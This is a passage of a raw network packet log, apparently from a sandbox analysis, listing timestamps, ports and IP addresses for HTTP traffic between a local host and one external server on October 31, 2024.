Oct 31, 2024 11:27:25.567123890 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.567136049 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.567143917 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.567147970 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.567158937 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.567166090 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.567179918 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.567192078 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.567192078 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.567205906 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.567218065 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.567222118 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.567230940 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.567235947 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.567245007 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.567255974 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.567265034 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.567267895 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.567281008 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.567292929 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.567296982 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.567306042 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.567317009 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.567326069 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.567337036 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.567339897 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.567354918 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.567368031 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.567368984 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.567389011 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.567411900 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.567429066 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.568056107 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.568075895 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.568087101 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.568099022 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.568104029 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.568111897 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.568125010 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.568126917 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.568139076 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.568150997 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.568156958 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.568166971 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.568175077 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.568180084 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.568191051 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.568202019 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.568208933 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.568214893 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.568228006 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.568231106 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.568243027 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.568253994 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.568255901 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.568268061 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.568279028 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.568280935 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.568295002 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.568306923 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.568319082 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.568320036 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.568331957 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.568336010 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.568366051 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.568382978 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.568689108 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.568705082 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.568717003 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.568728924 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.568741083 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.568742037 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.568758011 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.568787098 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.568834066 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.568856955 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.568869114 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.568880081 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.568890095 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.568891048 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.568906069 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.568923950 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.568927050 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.568927050 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.568937063 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.568948984 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.568959951 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.568970919 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.568984032 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.568989038 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.569000006 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.569010973 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.569010973 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.569024086 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.569036961 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.569042921 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.569047928 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.569061041 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.569065094 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.569077969 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.569082975 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.569091082 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.569109917 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.569123983 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.569149017 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.569792986 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.569807053 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.569818020 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.569835901 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.569839954 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.569854975 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.569866896 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.569868088 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.569879055 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.569890976 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.569895983 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.569904089 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.569919109 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.569925070 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.569931030 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.569940090 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.569943905 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.569956064 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.569961071 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.569968939 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.569982052 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.569987059 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.569994926 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.570007086 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.570015907 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.570022106 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.570034981 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.570034981 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.570048094 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.570053101 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.570060968 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.570074081 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.570084095 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.570085049 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.570101976 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.570113897 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.570113897 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.570127964 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.570142031 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.570163965 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.570163965 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.601020098 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.601062059 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.601077080 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.601089001 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.601108074 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.601138115 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.601222038 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.648490906 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.648510933 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.648519039 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.648694038 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.678469896 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.678503990 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.678517103 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.678600073 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.678634882 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.682105064 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.682152987 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.682166100 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.682214975 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.682214022 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.682229042 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.682233095 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.682271957 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.682300091 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.682312012 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.682322979 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.682344913 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.682353020 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.682359934 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.682395935 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.682435036 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.682446957 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.682466984 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.682476997 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.682507992 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.682549953 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.682560921 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.682573080 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.682581902 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.682594061 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.682622910 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.682694912 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.682738066 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.682742119 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.682754040 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.682781935 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.682797909 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.682854891 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.682867050 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.682878971 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.682895899 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.682921886 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.682956934 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.682970047 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.682982922 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.683001041 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.683026075 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.683151007 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.683162928 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.683173895 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.683185101 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.683193922 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.683196068 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.683209896 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.683222055 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.683227062 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.683247089 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.683264017 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.683278084 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.683319092 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.683331013 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.683342934 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.683372021 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.683466911 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.683479071 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.683489084 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.683502913 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.683511019 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.683515072 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.683533907 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.683563948 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.683643103 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.683655977 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.683666945 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.683680058 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.683687925 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.683691978 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.683706999 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.683737993 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.683821917 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.683834076 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.683844090 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.683857918 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.683865070 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.683870077 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.683897018 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.683923006 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.684082031 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.684099913 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.684119940 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.684129000 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.684133053 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.684144974 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.684148073 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.684159040 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.684170008 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.684174061 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.684187889 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.684199095 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.684201956 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.684220076 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.684232950 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.684251070 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.684262037 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.684273958 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.684284925 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.684293985 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.684297085 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.684320927 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.684324026 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.684336901 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.684338093 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.684349060 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.684362888 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.684365034 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.684375048 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.684386015 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.684390068 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.684401035 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.684412956 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.684418917 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.684427023 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.684437990 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.684439898 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.684456110 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.684456110 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.684468985 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.684484959 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.684484959 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.684510946 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.684525013 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.684719086 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.684731007 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.684743881 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.684755087 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.684757948 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.684772015 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.684783936 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.684797049 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.684798956 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.684812069 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.684824944 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.684829950 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.684839010 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.684845924 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.684864044 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.684886932 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.684958935 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.684972048 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.684983015 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.684994936 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.684997082 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.685013056 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.685014009 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.685026884 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.685036898 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.685049057 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.685050011 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.685065985 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.685077906 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.685106039 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.688766956 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.688779116 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.688791037 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.688802004 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.688815117 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.688826084 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.688827038 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.688841105 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.688858986 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.688872099 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.688894987 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.688910961 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.688927889 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.688940048 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.688951969 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.688965082 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.688977957 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.688991070 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.689003944 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.689008951 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.689008951 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.689008951 CET	49757	80	192.168.2.4	185.215.113.206
